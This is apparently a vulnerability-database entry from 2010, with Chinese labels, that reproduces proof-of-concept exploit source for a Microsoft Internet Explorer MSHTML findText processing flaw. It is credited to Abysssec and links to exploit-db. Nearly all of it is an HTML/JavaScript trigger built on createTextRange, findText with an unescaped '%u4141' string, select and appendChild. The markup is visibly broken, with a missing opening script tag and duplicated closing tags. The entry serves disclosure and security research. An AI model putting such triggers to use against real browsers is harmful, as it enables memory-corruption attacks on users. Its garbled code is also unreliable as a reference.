发布 2010-09-27 漏洞条目

Microsoft Internet Explorer – MSHTML Findtext Processing

Exploit Source

<html>

<body>

function Search(){

var textinput = document.getElementById("Abysssec");

var textRange = textinput.createTextRange();

textRange.findText(unescape("%u4141"),-1);

textRange.select(document.getElementById('d'));

document.body.appendChild(textinput);

}

</script>

<p id="p">Abysssec</p>

http://www.exploit-db.com/moaub-27-microsoft-internet-explorer-mshtml-findtext-processing-issue/

</body>

</html>

</p>

</body>

</html>

相关漏洞条目